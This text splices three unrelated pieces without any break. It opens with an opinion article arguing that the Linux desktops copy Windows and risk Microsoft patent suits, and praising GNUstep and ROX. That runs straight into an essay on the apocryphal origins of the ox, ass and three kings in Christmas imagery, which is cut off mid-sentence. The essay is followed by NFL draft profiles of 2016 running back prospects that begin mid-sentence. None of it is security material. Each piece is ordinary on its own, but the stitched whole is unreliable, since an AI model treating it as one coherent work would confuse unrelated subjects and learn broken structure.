Today, for many people in computing, including highly-trained professionals, Windows is all that they know or have ever seen. The details of how it works seem to be obvious, universal ideas, too trivial to notice - but they are not.
This is the core of the problem. There is a lot of common ground between KDE and GNOME, and even between them and smaller players such as Xfce or Enlightenment. The ways that most of the Linux GUIs resemble one another - their lowest common denominator - is, pretty much, the Microsoft Windows way of doing things.
The influences run very deep: for instance, the idea of toolbars across the top of windows is something Microsoft pioneered. Sure, MacPaint had an icon toolbox in 1984 or whenever, but the notion of a row of buttons to supplement or even duplicate the most often-used functions that are already to be found in the menus was brought to the masses by Microsoft, mostly in what was then called " Word for Windows" version 2, more than fifteen years ago. Others tried their own versions, such as Lotus' "SmartIcons", but in the end, they gave up. Some, like Visio Inc. (before they were bought out) and Corel, even paid Microsoft to licence the Microsoft look and feel, so their applications could be marketed as "Office Compatible".
Today, near-identical toolbars adorn Firefox, OpenOffice, all GNOME and KDE apps and so on. Except these implementations are not licensed.
In many cases, whatever the idea was, the great Vole probably didn't invent it, but it was the first to bring it to prime time, and you can bet it was the first to patent it - or it hired the guy who did and bought the rights off him.*
Let's look at a few of these now-obvious and natural seeming ideas. We've mentioned menus across the top of windows and customisable command toolbars. We've described the similarity between GNOME's and KDE's default panels to Windows' taskbar, the layout of their window controls and file browser windows and so on.
What else?
Dragging any edge or corner of a window to resize it, for instance. Try playing with a Mac and you'll find that OS X doesn't do that - and there's a good reason it doesn't, because that's a [i]Microsoft[/i] GUI feature. Jobs' and Gates' mobs faced off twenty years ago, painfully and expensively. They know where they stand. But edge and corner resizing works on Linux, though.
Save and load dialogue boxes - Apple pioneered them, but Apple never let you type in a path, because that sort of thing went against the original Mac interaction model. Instead, there was a button for cycling through mounted drives and an eject button for changing disks. You browsed through folders in the main list. What everyone uses today is the Microsoft style: a list you can click on and a box in which you can type a path.
Recent documents lists. "OK", "Apply" and "Cancel" buttons. Right-click cont ext menus. Double-clicking the title bar to minimize to the taskbar.
This comment is going to go down like a lead balloon in open source circles, but it needs to be said, because nobody is talking about it. Compare Windows and the leading Linux desktops and the Free offerings look like [i]direct clones[/i]. Mac OS X is [i]dramatically[/i] different. Even Windows' long-lost cousin, OS/2 - still around in the guise of Serenity System's eComStation - is unrecognisably different by comparison. OS/2 and Windows share a single ancestry and a lot of code; you needed a trained eye to tell OS/2 1.2 and Windows 3.0 apart, they were so similar. By OS/2 2 and Windows 95, there was no visible relation. Put all of these mugs in an identity parade, even their parents would pick Windows and Linux out as twins.
The Great Vole is not yet specifying what patents on this sort of stuff it owns; all it's saying is that there are about 235 of them. Software patents are a pain in the neck; all they do is allow big rich companies to beat up small poor ones. That's why so many big rich software companies are campaigning for them. For now, though, there are patents on technology ideas, even bleedin' obvious ones, and Microsoft has lots of them, plus supertanker-sized shiploads of cash to pay lawyers to enforce them. Those Linux companies who've made patent-sharing pacts with Microsoft might be safe, but the others are not, and they can't out-pay Microsoft in court.
Following other roads
If the Vole bites and this does go to court then judging from the previous times the same battles have been fought it will be a long, expensive and bitter battle, and whoever came first and has the most cash will win. And the Vole is holding all the cards here; the FOSS guys haven't got a leg to stand on.
The really ironic thing is that it's all so unnecessary. Sure, the obvious thing to do was ape the way the market leader works, but that's not a good plan when it means making products that are uncomfortably similar to those of the biggest, baddest, richest, meanest competitor around. Windows isn't the only role model around.
Companies have "borrowed" the Windows look before. OS/2 3's Launcher, inspired by the Unix Common Desktop Environment - back when anyone still cared about commercial Unix - mutated into a taskbar and launch menu in OS/2 4. However, OS/2 was already beaten then, nothing to worry about, and anyway IBM and Microsoft still had technology-sharing deals in place. Indeed, speaking of Unix, the commercial versions were all constantly at war, but towards the end, the CDE desktop and Motif widget set were widespread. The window furniture of Motif was taken directly from Windows - but that was about all. CDE was so primitive that a modern viewer wouldn't recognise it as a desktop and Solaris has now replaced it with GNOME. Again, though, Unix was an enemy already on the retreat.
But way back when, there were lots of non-Windows-like desktops. BeOS' default task switcher could be rearranged to look like Windows 95, but it wasn't by default and its folder views were more like classic MacOS. Its windows' frames were unlike anything else. Digital Research's GEM and Amiga's Workbench were more Mac-like; in the early days, that was the look to emulate, not the ugly and kludgy MS DOS Executive of Windows 1 and 2. GEM was too Mac-like: Apple's lawyers forced DR to castrate and cripple it, although oddly, the lawsuit didn't affect the Atari ST version. Even the document-and-application-driven Mac was Apple's second stab at a desktop: before it came the Lisa, which used templates and tear-off pads instead of programs that saved files onto disk. A vaguely similar template model drove the OS/2 Workplace Shell, which is still unique today. OS/2's dialog boxes didn't even have an "OK" button; selecting an option made the change instantly. To make it permanent, you just closed the dialog with the close box in the title bar; to undo the changes, you clicked "Cancel". It may not be as readily guessable as Windows, but it's logical - and Windows' "Apply" button confuses people today. How many times have you seen someone click "Apply" then " OK"? Completely unnecessary, but millions do it daily.
But it's not all historical. Today, there are two actively-maintained Free Software desktop environments which are nothing whatsoever like Windows or indeed the Mac - but even most Linux aficionados probably have never heard of them. No current distributions are based on them. If you install one of the myriad of desktop-centric distros - Ubuntu, SUSE, Red Hat, Mandriva, whatever you like - you won't find these in the profusion of software available to install. Both hearken back to much-loved desktops of the 1980s, whose determined fans have kept them alive.
A step in the right direction
When Apple bought NeXT, it did so for Next's operating system, a graphical desktop Unix. Nextstep was the state of the art in the late 1980s, with an elegant greyscaled desktop. Applications could be launched from a Dock down one side of the screen, whereas minimised windows became icons in a separate dock at the bottom. The file manager arranged folders in columns, unlike the Mac's cascading windows or Microsoft's tree structures, and featured a what Web designers would call a breadcrumb trail for navigating up and down the hierarchy, plus a Shelf for stashing frequently-used directories. There was no menu bar at all # neither at the top of the screen nor inside windows. Menus appeared only when you clicked the relevant mouse button, but they cascaded down from the top left of the screen, and oft-needed menus could be torn off and turned into floating tool palettes. There was a recycle bin, long before Windows gained one, but it was in the Dock, not on the desktop, which in line with the minimalistic design was kept bare. Scrollbars were on the left side of windows, because most alphabets read from left to right so that's where your eye begins. Both the arrows were at the same end, so you could fine-tune scroll with little mouse movement, while windows could only be resized using a relatively thick frame across the bottom with handles in the bottom left and right corners.
Sadly for Nextstep's admirers, Apple's was the better-known interface, familiar to millions and specifically designed to be easy for beginners - for example, restricting the mouse to a single button. So over the next few years, Next's developers gave Nextstep a complete makeover to turn it into a modern version of MacOS - now called "Mac OS X". The columns remain as an option in the Finder and the Docks survived in a single merged form, but OS X is otherwise more like the Mac than its own ancestor, with a single permanent menu bar, drives on the desktop, right-mounted scrollbars and windows resized from the bottom right corner only.
The original look and feel of Nextstep lives on, though. Many Unix types admired Next's elegant black window frames and the look was widely imitated on Linux - the BlackBox, OpenBox, FluxBox and WindowMaker window managers all copy the Next look, but - erm - "enhance" it with themes and colour. WindowMaker has another role, though, as the official window manager of GNUstep, a complete Free reimplementation of Next's entire user interface. The GUI is almost incidental to the real project, though, which is a Free rewrite of Next's comprehensive class library framework, including equivalents of Next's feted Interface Builder GUI design tool. This was the original inspiration behind Visual Basic and NeXT's version lives on in Apple's XCode, now given away free with Mac OS X. The key difference is that while GNUstep apps can also be compiled to run under OS X, they work on any Linux machine and most other Unixes too - as does GNUstep itself.
Rock on
Long before the Windows Explorer was a gleam in any Microsoft programmer's eye, the British creator of the BBC Micro, Acorn, created its own 32-bit RISC-based desktop PC, the Archimedes. INQUIRER sister title Personal Computer World gave the Archie a rave review in 1987, agog at the machine's raw speed. Acorn's Californian research lab had planned a complex, Unix-like OS for the new machine, but it didn't happen in time, so the Cambridge head office adapted the BBC Micro's minimal DOS, "MOS", to create an OS for the first machines to hit the market. It was dubbed with the very British name of Arthur, but quickly revised into the more professional-sounding RISC OS 2.
RISC OS comes with an idiosyncratic graphical desktop. The big innovation for the time was a bar across the bottom of the screen that displayed icons for each running application. (Sound familiar at all?) The "icon bar" also contains drive icons, though, and tools for adjusting screen resolution, managing memory and so on. There's no button or menu for launching applications, but this was recognisably the birth of what would, nearly a decade later, become the Windows Taskbar.
RISC OS uses a three-button mouse. Back then, the extremely rare PC mouse had two, but the right one didn't do anything in particular. For instance, in Pagemaker, it was the zoom control. Acorn gave each button distinct functions and even named them to remind you: from left to right, they're called "Select", "Menu" and "Adjust".
There's no menu bar, neither in windows nor across the top of the screen. Applications' main menus appear when you click the "Menu" button over any of that program's windows. Mac fans like to proclaim that the single menu bar is best, because "Fitt's Law" says that one of the screen's long edges is the biggest target to hit when moving the mouse. This entirely fails to notice that it's even easier to hit a target when you don't have to move the mouse at all.
It's like the context menus, as seen today on Windows, Linux and OS X, but RISC OS apps' menus contain all the usual options found in those systems' other menu bars - File, Edit, View and so on. All in one place, with no need for duplication.
The left Select button does what you'd expect - selecting, opening, scrolling and so on. The Adjust button, meanwhile, subtly altered the action of Select. It's hard to explain if you're never used RISC OS, but, for example, right-click on a dialog box's "OK" button and the changes were applied but the dialog stayed open - removing any need for an "Apply" button. Right-click the arrow on a scrollbar and the window scrolled in the opposite direction to the one you got if you clicked with Select. This kept the arrows nicely separated and therefore easier targets to hit, but made precision adjustment easy, so there was no need for a scroll wheel on Acorn mice.
There are other oddities. Window frames have a handy control to push that window behind all the others and you can drag windows without automatically bringing them to the front. An often-confusing feature is constraining the pointer. If you can't meaningfully drag something beyond its window, or if a mandatory dialog is open, then suddenly the mouse pointer can't leave that window or dialog box, so you must do whatever's needed of you.
RISC OS' file manager is clean, simple, elegant and very, very fast, with auto-arranged icons and auto-sizing windows, but RISC OS conceals another strange but brilliantly clever feature when it came to loading and saving files. The environment heavily favours drag and drop, more than any other GUI. To open a file, you drag its icon onto the application's icon in the icon bar. So far, so superficially Mac-like, but icons in the bar represent running apps, as opposed to files on disk. On classic MacOS, you dragged a document onto the icon representing the program binary somewhere on disk, or an alias to the binary. Because the iconbar only contains running programs, you also use those icons to manipulate the program - getting version info, quitting or creating a new document. No need for Mac OS X's distinctive but odd " Application name menu" - the first one after the Apple.
Perhaps RISC OS' most unique and powerful aspect is most visible when you save a file, though. First, open the folder where you want to put it, then click Menu and choose File|Save. The dialog box appears, containing a file icon whose name you can edit. You then just drag this icon into the target folder. There's no need to click a separate "Save" button, nor to use a file selector inside the dialog box to navigate the filesystem - after all, that's what the desktop is for, so why duplicate the functionality? You can also drag a file's icon straight into another program, allowing data flow like the Unix shell's pipe and redirect symbols. However, unlike Unix GUIs on Linux or Mac OS X, let alone Windows, the user doesn't have to worry about saving temporary working copies anywhere.
RISC OS lives on and you can still buy new Acorn-compatible hardware today, but the range of both hardware and software is restricted and rather expensive. If you're running Linux on commodity hardware, though, you can enjoy the benefits of Acorn's elegant desktop with ROX.
Like GNUstep, ROX is a Free desktop that seeks to recreate a classic 1980s GUI. It comes in two parts: the ROX Filer is a lightweight Acorn-style file manager that can be used with any other environment. For the full experience, though, you can replace your desktop with the ROX Panel and ROX Session. This gives Linux an icon bar, a desktop (or "pinboard") and the other features of RISC OS, including drag-and-drop load and save. The modifications to a standard Linux app to make it work with ROX's RISC OS-style loading and saving are small and simple. It requires a little more work to make apps appear on the iconbar rather than opening a Microsoft-style blank document, but it's straightforward and lots of demonstration applets are supplied or available.
Salvation or irrelevance?
GNUstep and ROX show two completely different, utterly non-Windows-like ways to operate a Linux desktop. Both are simple and elegant to use, borrow little or nothing from the Mac or anything else, and have designs that long predate Microsoft's current interface, first seen in 1995. Both have suites of apps of their own and work with existing Linux apps from Firefox to OpenOffice, and in both cases, existing apps could be fairly trivially modified to follow the GNUstep or ROX models instead of the Windows one. Couple these desktops under a suitably non-Windows-like window manager - naturally, both have their own suggestions in this department, but they're not mandatory - and the result would be a complete desktop environment that bore little to no resemblance to Windows and which the Vole therefore couldn't sue.
There are plentiful other ways to go, too. Psion has invented multiple GUIs - the Series 3 and Series 5 were totally different, both from each other or anything else, and both had hundreds of thousands of happy users. Back in the mists of time, Sun's OpenLook and the NeWS GUIs also had different takes on how a desktop works.
Linux isn't Windows. It's a modern Unix, one that's grown up in a world dominated by Windows. It runs on Windows hardware, reads and writes Windows' disks, partitions, filesystems and files, it networks with Windows, it opens documents from Windows applications and prints to Windows printers and works with other devices solely intended for Windows, and it does all these things without actually resembling Windows in any way. It can be coaxed into running Windows applications and even some device drivers, if you must.
But it's not Windows and it's not trying to be. So why do all the main Linux GUIs look and work just like their biggest rival?
The Mac doesn't, and yet people adapt to it quickly and easily and find it a rewarding and pleasant experience. It's kept Apple afloat and competitive in a world dominated by a hostile competitor.
The Mac, GNUstep and the ROX Desktop all show that a general-purpose PC desktop doesn't need to look or work like Windows to be attractive, easy and fun to use. And whereas being Windows-like has aided Windows adoption to some degree, it's also attracted the attention of Windows' parent, and that is never a good thing. It's time to dodge out of Redmond's sights, take a step sideways and follow an independent path. µThis time of year, holiday symbols surround us on all sides. Some of these are fairly recent phenomena, like Santa Claus (a twentieth-century creation in his popular culture incarnation), electric lights, and decorated fir trees in many homes; some are much older, like Hanukkah menorahs and Nativity scenes. Among those associated with Christmas are a few that particularly capture my attention: the stereotypical ox and ass in the manger and the Three Wise Men. These images are so common in culture as to be fairly recognizable even to those who don’t identify as Christians. The imagery also lives in the music around us (particularly in department stores), as we hear singers relate that “ox and ass are feeding,” “Ox and ass before him bow,” and “three kings of Orient are / bearing gifts” as they “traverse afar” (in the Christmas carols “What Child Is This?,” “Good Christian Men, Rejoice,” and “We Three Kings”).
But where do these stereotypical symbols come from? For those who go searching, contrary to expectations or assumptions, the Bible is not the answer. These symbols show the fascinating force that apocryphal, non-canonical narratives have on Christian traditions and popular culture, from early Christianity up to the present.
Ox and Ass
Turning to the canonical gospels reveals no sign of the animals present at Jesus’ Nativity. In the most detailed narrative in the gospels, Luke relates the actual birth of Jesus sparsely: “While they [Mary and Joseph] were there [in Bethlehem], the time came for her to deliver her child. And she gave birth to her firstborn son and wrapped him in bands of cloth, and laid him in a manger, because there was no place for them in the inn” (Luke 2:6-7, NRSV). He then moves on to tell us about the shepherds. Yet there is never mention of the ox and ass.
There is, however, a biblical passage in the Hebrew Bible that helps us to understand the two animals in Christian tradition. Isaiah 1:3 relates:
The ox knows its owner,
and the donkey its master’s crib;
but Israel does not know,
my people do not understand. (NRSV)
While this prophecy had a very different meaning for the ancient Hebrew people at the time of Isaiah (eighth century BCE), it was later interpreted by Christians as a prophecy about the arrival of the Messiah, Jesus. The imagery of the ox and ass, then, is a Christian appropriation of Isaiah’s prophecy in the Hebrew Bible to solidify the claims of gospel writers that Jesus was the Christ. In the first few centuries of Christianity, this connection took a strong hold, eventually becoming deeply entrenched in imaginings of the Christmas story.
Artistic depictions are especially strong in the late antique period. One of the earliest images is on the Sarcofago di Stilicone, a Roman sarcophagus (stone coffin) crafted around 385 that resides in the Basilica of Sant’Ambrogio in Milan, Italy:
As can be seen, the infant Jesus is at the center, but, strikingly, there is no Mary and Joseph; the baby is accompanied only by ox and ass, flanked on either side by birds.
Some of the texts that helped in the development and popularization of the imagery of the ox and ass (and other popular ideas about Jesus’ childhood not mentioned in the canonical gospels) were stories like the Proto-Gospel of James and the Gospel of Pseudo-Matthew, which we now consider apocryphal, or outside of the accepted Christian scriptures. Particularly representative of the ox and ass making taking more significant roles in the Christmas story is the Gospel of Pseudo-Matthew, a Latin adaptation of the Proto-Gospel of James.
After Jesus’ birth in a cave (not a manger), the Gospel of Pseudo-Matthew relates the following episode:
On the third day after the Lord’s birth, Mary left the cave and came into a stable, and she placed the child in a manger. And an ox and an ass bent their knees and worshiped him. Then was fulfilled what was spoken by Isaiah the prophet, who said, “The ox has recognized its owner and the ass the manger of its lord.” (14:1; in Ehrman and Pleše, 103)
While the Gospel of Pseudo-Matthew was probably compiled in the late seventh or eighth century, it brought together earlier materials, and popularized many ideas about the Nativity that we still hold onto today. In fact, this story was a sort of bestseller in the medieval period. Many people had access to this narrative, its contents were included in chronicles of world history, and even preachers used it in sermons.
Three Kings
The Christmas carol known as “We Three Kings” was composed by John Henry Hopkins, Jr. in 1857–relatively recently as far as Christmas carols go. An oddity of such carols, the lyrics are not based on a traditional folk song, nor is the music based on a folk melody (as is typical); the whole song was composed fresh for a Christmas pageant. The song continues to pervade popular Christmas music in versions by artists like the Barenaked Ladies (“God Rest Ye Merry Gentlemen/We Three Kings,” featuring Sarah McLachlan, on Barenaked For the Holidays, 2004) and Sufjan Stevens (on Ding! Dong! Songs for Christmas Vol.III, 2003, and an instrumental version on Silver & Gold, 2012). While the song is a rather modern creation, it is clear that Hopkins drew on a long tradition surrounding the “three kings” who visited Jesus in his infancy. In fact, in early Christianity, Epiphany, when the magi visited Jesus, was a more important celebration than Christmas. Still, questions arise: Why kings? Why three? None of these are answered by the biblical gospels, but looking to other developments helps us to find the answers.
For the biblical basis, the Gospel of Matthew is the key, since it is the only canonical gospel to narrate the visit of the magi. The story (slightly redacted for space here) goes like this:
In the time of King Herod, after Jesus was born in Bethlehem of Judea, wise men[a] from the East came to Jerusalem, asking, “Where is the child who has been born king of the Jews? For we observed his star at its rising, and have come to pay him homage.” …. When they had heard the king, they set out; and there, ahead of them, went the star that they had seen at its rising, until it stopped over the place where the child was. When they saw that the star had stopped, they were overwhelmed with joy. On entering the house, they saw the child with Mary his mother; and they knelt down and paid him homage. Then, opening their treasure chests, they offered him gifts of gold, frankincense, and myrrh. (Matthew 2:1-2, 9-11, NRSV; I have omitted the passages about Herod and foreshadowing the Slaughter of the Innocents, which is a whole other topic.)
The passage reveals that the magi were not always imagined as three figures, and even ambiguity about what type of men they were–kings or otherwise. In Greek, the specific word used for these visitors is μάγοι. As a term, this is fairly ambiguous, since it could mean any number of things, including “wise men,” “enchanters,” and “wizards” (fun fact: this word is the root of modern English magician), or more specific notions like priests of Persia or Media.
As ideas about these visitors accumulated through late antiquity and the medieval period, the magi took on all sorts of attributes. They came to be known as wise, thought to be kings from the East, possibly priest-kings as were known from antiquity. Since they gave costly gifts, they must have been rich. Since they followed the star, they must have been well versed in astrology. Connotations for the word μάγοι (magi in the Latin Bible) helped to make them more mysterious, knowledgeable in magic and esoteric arts. All of these notions may be found across a range of Christian texts, apocryphal and otherwise.
Eventually, the magi were even given names: Balthasar, Melchior, and Gaspar, as first attested in a sixth-century Latin translation of a lost Greek chronicle, only the start of a robust tradition. These names came to accompany images of the wise men in a variety of media, including art, as in the mosaic in the Basilica of Sant’Apollinare Nuovo in Ravenna, completed in 526 (above). In his commentary on the Gospel of Matthew, the Venerable Bede, a monk and one of the chief medieval biblical interpreters, wrote about the magi’s clothing, attributes, and helped to popularize the interpretation that they represented the three principle parts of the known world at the time (Asia, Africa, and Europe). As their veneration grew, the three wise men reached the status of saints, as they are now revered with canonical status.
As for the numbers of visitors, the most plausible explanation is that three became accepted because three gifts are mentioned. Apocryphal stories offer a range of ideas. Some (like the Proto-Gospel of |
NFL evaluators. He was banged up with a shoulder injury in 2015 and missed a number of games, but still averaged 5.5 yards per carry for 708 yards and three touchdowns. The senior also had 38 receptions for 280 yards and two scores.
Ferguson showed real receiving skills when he hauled in 50 passes as a junior and a sophomore. Sources like his ability to contribute to the passing game and special teams. At the combine, Ferguson ran fast and looked in the receiving drills.
D.J. Foster, RB/WR, Arizona State
Height: 5-10. Weight: 193. Arm: 30.5. Hand: 9.25.
40 Time: 4.57.
Projected Round (2016): 3-5.
4/26/16: The move of Foster to wide receiver from running back for 2015 backfired, and he wasn't close to being the play-maker he was in 2014. In 2015, Foster averaged 5.1 yards per carry for 280 yards. Through the air, he had 59 receptions for 584 yards and three scores.
Foster saw a dramatic reduction in touches during 2015. For the NFL, he looks more special as a running back who can be a weapon in a passing offense rather than lining up as a wide receiver. Foster's body type is more suited for the backfield as well.
8/8/15: Arizona State is reportedly moving Foster to wide receiver, but for the NFL, his body type and speed make him a better fit at running back. Foster is an elusive, shifty runner who runs with good pad level and has a burst to him. While he has been a quality runner for Arizona State, his receiving skills will get NFL teams really excited. Foster had 62 receptions for 688 yards and three touchdowns in 2014 with an average of 5.6 yards per carry for 1,081 yards and nine touchdowns on the ground.
As a sophomore (93-501-6) and freshman (102-493-2), Foster had modest numbers on the ground. However, he was consistent as a receiver with 63 catches for 653 yards and four scores as a sophomore with nice numbers as a freshman (38-533-4). At the very least, Foster could have a role as a third-down back.
Keith Marshall, RB, Georgia
Height: 5-11. Weight: 219. Hand: 9.38.
40 Time: 4.31.
Projected Round (2016): 4-6.
4/26/16: Marshall returned to the field in 2015, but was stuck behind Nick Chubb and Sony Michel on the depth chart. Marshall averaged 5.1 yards per carry on the season for 350 yards with three touchdowns. He was a star of the combine with a jaw-dropping 40 time for a running back of his size. Marshall is a third-day sleeper who has upside to take a chance on.
8/8/15: Marshall dealt with a knee injury in 2014 that caused him to miss nine games after playing in three contests. Even before the injury, Marshall had a hard time finding carries with Todd Gurley and Nick Chubb on the team. Marshall's 2013 season was off to a superb start before an ACL tear versus Tennessee. He provided an excellent change of pace from Gurley in 2012. Marshall averaged 6.5 yards per carry that season on the way to 759 yards and eight touchdowns. The freshman also caught 11 passes for 91 yards.
Tyler Ervin, RB, San Jose State
Height: 5-9. Weight: 192. Arm: 30. Hand: 9.13.
40 Time: 4.41.
Projected Round (2016): 4-6.
4/26/16: The diminutive back Ervin is a return weapon on special teams who has played some cornerback as well. The senior averaged 5.4 yards per carry in 2015 for 1,601 yards with 13 touchdowns. He also had 45 catches for 334 yards with two scores. In his career, Ervin has three kickoffs returned for a score and two punt return touchdowns. He did not stand out in Mobile, but he was very fast at the combine. Ervin could be a late-round pick to serve as a third-down receiving back and returner.
Peyton Barber**, RB, Auburn
Height: 5-10. Weight: 228. Hand: 9.38.
40 Time: 4.64.
Projected Round (2016): 4-6.
4/26/16: The redshirt sophomore Barber was a surprise early entry into the 2016 NFL Draft. He only had 10 carries as a freshman, before averaging 4.3 yards per carry in 2015 for 1,017 yards with 13 touchdowns. Barber had only 11 receptions for 112 yards in his collegiate career.
Barber has some talent, but he should have returned to school. Barber put up slow times at the combine, but WalterFootball.com knows some teams that are considering him in the early rounds of Day 3.
Jordan Howard*, RB, Indiana
Height: 5-11. Weight: 230. Hand: 9.0.
Projected 40 Time: 4.60.
Projected Round (2016): 4-6.
4/26/16: Howard was a productive runner for Indiana last year. In 2015, he averaged 6.2 yards per carry for 1,213 yards with nine touchdowns. The junior also had 11 catches for 106 yards and a score. As a sophomore, he averaged 5.2 yards per carry for 1,587 yards with 13 touchdowns that season. Team sources said that Howard didn't interview well at the combine.
Daniel Lasco, RB, California
Height: 6-0. Weight: 209. Hand: 9.13
40 Time: 4.46.
Projected Round (2016): 4-6.
4/26/16: Lasco had a terrific combine as he was very fast in the 40 and showed some explosion in the broad and vertical jumps. Injuries kept Lasco out of five games in 2015. The previous year, he averaged 5.3 yards per carry for 1,115 yards and 12 touchdowns. Lasco also had 33 receptions for 356 yards with two touchdowns that season. He was a good fit in the Bear Raid passing offense.
Paul Perkins*, RB, UCLA
Height: 5-10. Weight: 208. Hand: 9.0.
40 Time: 4.54.
Projected Round (2016): 4-6.
4/26/16: Perkins was a tough runner for UCLA over the past few seasons. He has a nice combination of strength and speed. As a junior in 2015, Perkins averaged 5.7 yards per carry for 1,343 yards with 14 touchdowns. He also had 30 catches for 242 yards and a score. As a sophomore, Perkins averaged 6.3 yards for 1,575 yards with nine touchdowns. He caught 26 passes for 201 yards with two scores. At the combine, Perkins had a quality workout as he tested pretty well and was solid in the field work. There are a few team sources that say they're interested in Perkins in the mid-rounds.
Wendell Smallwood*, RB, West Virginia
Height: 5-10. Weight: 208. Hand: 9.25.
40 Time: 4.47.
Projected Round (2016): 5-7.
4/26/16: Smallwood looks like an undersized back who exploded for a big junior year. In 2015, he averaged 6.4 yards per carry for 1,519 yards with nine touchdowns. The junior also caught 26 passes for 160 yards. Smallwood had a lot less production as a sophomore (722 yards) and freshman (221 yards). He should have returned for his senior year.
Kelvin Taylor*, RB, Florida
Height: 5-10. Weight: 214. Hand: 8.25.
40 Time: 4.60.
Projected Round (2016): 5-7.
4/26/16: Taylor averaged four yards per carry for 1,035 yards and 13 touchdowns. He also had 17 receptions for 150 yards. Taylor was a tough runner for the Gators and finished the regular season with impressive performances against quality defenses. He is a "jack of all trades, master of none"-type runner. Taylor isn't overly fast or physical, and he had a slow 40 time at the combine. Taylor should have returned for his senior year, but he entered the 2016 NFL Draft.
8/8/15: It wouldn't be surprising if Taylor has a big junior year in Jim McElwain's offense. With Matt Jones and Mack Brown in the NFL, Taylor should be the feature back. Taylor ran for 565 yards (4.9 average) with six touchdowns as a sophomore. He had modest production as a freshman (508 yards and four scores). Kelvin Taylor is the son of former Gators and Jaguars great Fred Taylor.
Tra Carson, RB, Texas A&M
Height: 5-11. Weight: 227. Hand: 9.25.
Projected 40 Time: 4.60.
Projected Round (2016): 6-FA.
4/26/16: In 2015, Carson averaged 4.8 yards per carry for 1,165 yards with seven touchdowns. He also had 29 receptions for 183 yards and a score.
Carson is a physical downhill runner. He doesn't have elusiveness, but he could be a goal-line and short-yardage back in the NFL. Carson was at the combine, but an injury kept him from running or doing the drills.
8/8/15: Carson spent 2014 as part of a running back rotation. He recorded 99 carries for 448 yards (4.5 average) with five touchdowns. Carson also picked up eight receptions for 58 yards. A year earlier, he averaged 5.3 yards per carry for 329 yards and seven touchdowns in 11 games. Carson is a physical, downhill runner who could produce more if the Aggies gave him more opportunities.
DeAndre Washington, RB, Texas Tech
Height: 5-8. Weight: 204. Arm: 29.63. Hand: 8.75.
40 Time: 4.49.
Projected Round (2016): 6-FA.
4/26/16: Washington would be rated higher if he were bigger, but being sub-5-foot-8 hurts his draft stock. At Texas Tech, Washington had two solid seasons back to back. He averaged 6.4 yards per carry in 2015 for 1,492 yards with 14 touchdowns. He also had 41 receptions for 385 yards with two touchdowns. As a junior, Washington averaged 5.9 yards per carry for 1,103 yards with two scores. He had 30 catches for 328 yards with two scores.
Washington always ran against six-man boxes at Texas Tech, so teams question his vision and ability to handle a a packed box. They like his third-down ability though, and he showed his explosiveness at the combine with a fast 40 and impressive showing in the field drills. Teams say Washington is right on that draftable line.
Dwayne Washington*, RB, Washington
Height: 6-2. Weight: 226.
Projected 40 Time: 4.60.
Projected Round (2016): 6-FA.
4/26/16: Washington missed five games with an injury in 2015, but still entered the 2016 NFL Draft. The junior averaged six yards per carry for 282 yards with four touchdowns on the year. He had 25 receptions for 315 yards with three touchdowns as well. As a sophomore, Washington averaged 5.3 yards per carry for 697 yards with nine touchdowns.
Washington had a minor knee injury late in the 2015 season that required surgery. He did not work out at the combine.
Aaron Green, RB, TCU
Height: 5-10. Weight: 203. Arm: 29.88. Hand: 8.38.
Projected 40 Time: 4.57.
Projected Round (2016): 6-FA.
4/26/16: Green totaled 1,272 yards and 11 touchdowns in 2015 with an average of 5.2 yards per carry. He also had 16 receptions for 117 yards and a score.
Green is an undersized, shifty runner who would be best as a third-down back to start out his career. He had a decent week at the Senior Bowl, but did not work out at the combine.
8/8/15: Green was part of TCU's potent offense last season as he averaged 7.1 yards per carry for 922 yards and nine touchdowns. He also had 19 receptions for 166 yards. Green was a backup as a sophomore and freshman.
Brandon Wilds, RB, South Carolina
Height: 6-0. Weight: 220. Hand: 10.25
40 Time: 4.54.
Projected Round (2016): 6-FA.
4/26/16: Wilds was a physical downhill runner for the Gamecocks over the past few seasons. In 2015, the redshirt senior averaged 4.6 yards per carry for 567 yards with three touchdowns. He had 17 receptions for 142 yards, too. In his previous seasons, Wilds split carries with Mike Davis and other backs. Wilds could compete to be a backup and special teams contributor in the NFL.
Bralon Addison*, RB/WR, Oregon
Height: 5-10. Weight: 190. Arm: 29.5 Hand: 9.13.
40 Time: 4.66.
Projected Round (2015): 6-FA.
4/26/16: Addison had 63 receptions for 804 yards and 10 touchdowns in 2015. He also carried the ball 17 times for 84 yards and two scores. Addison plays with some quickness and play-making to him, but lacks size.
8/10/15: Addison didn't play in 2014 after tearing his ACL in spring practice. As a sophomore, he hauled in 61 receptions for 890 yards with seven scores in 2013. Addison had 22 catches for 243 yards and three scores as a freshman.
Byron Marshall, RB/WR, Oregon
Height: 5-9. Weight: 201. Arm: 30.25. Hand: 9.5.
Projected 40 Time: 4.52.
Projected Round (2016): 6-FA.
4/26/16: Marshall recorded nine receptions for 121 yards and two touchdowns in 2015 before sustaining a season-ending injury that required surgery.
8/8/15: Marshall was a running back as a sophomore and averaged 6.2 yards per carry for 1,038 yards with 14 touchdowns in 2013. He spent his junior year as a wide receiver and caught 74 passes for 1,003 yards and three scores. Marshall's versatility could make him a third-down weapon in the NFL.
Devon Johnson, RB/FB, Marshall
Height: 6-0. Weight: 238. Hand: 9.25.
Projected 40 Time: 4.77.
Projected Round (2016): 7-FA.
4/26/16: In 2015, Johnson averaged 6.3 yards per carry for 593 yards with five touchdowns. He also had six receptions for 63 yards. Johnson was producing well before a back injury cost him most of Week 4, and he missed Week 5 as well. After coming back briefly, Johnson missed the final five games of the regular season. He didn't impress at the East-West Shrine. Johnson was at the combine, but didn't work out because of an injury.
8/8/15: 'Rockhead' Johnson plays running back for Marshall, but he could fit better as a fullback for the NFL. Johnson averaged 8.6 yards per carry for 1,767 yards and 17 touchdowns last season. He also had six receptions for 121 yards. With his physical style and nickname, Johnson is sure to be a fan favorite. As a sophomore, he was a backup tight end.
Storm Barrs-Woods, RB, Oregon State
Height: 6-0. Weight: 205.
Projected 40 Time: 4.56.
Projected Round (2016): 7-FA.
4/26/16: Barrs-Wood averaged five yards per carry in 2015 for 491 yards and one touchdown on 99 carries. He also snagged 12 receptions for 162 yards. Barrs-Woods had a good week at the East-West Shrine, but getting a look at him in person strongly suggests that his listed numbers are exaggerated, especially his height. He did not work out at the combine.
